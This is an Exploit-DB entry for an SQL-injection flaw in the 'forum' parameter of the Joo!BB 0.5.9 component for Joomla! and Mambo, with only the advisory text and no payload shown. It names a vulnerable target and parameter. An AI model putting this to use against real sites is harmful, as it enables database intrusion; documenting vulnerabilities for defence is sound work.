Exploit-DB #31870
Description: Joomla! / Mambo Component Joo!BB 0.5.9 - 'forum' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-02
Author: His0k4

Exploit:
source: https://www.securityfocus.com/bid/29475/info

The Joo!BB component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joo!BB 0.5.9 is vulnerable; other versions may also be affected.
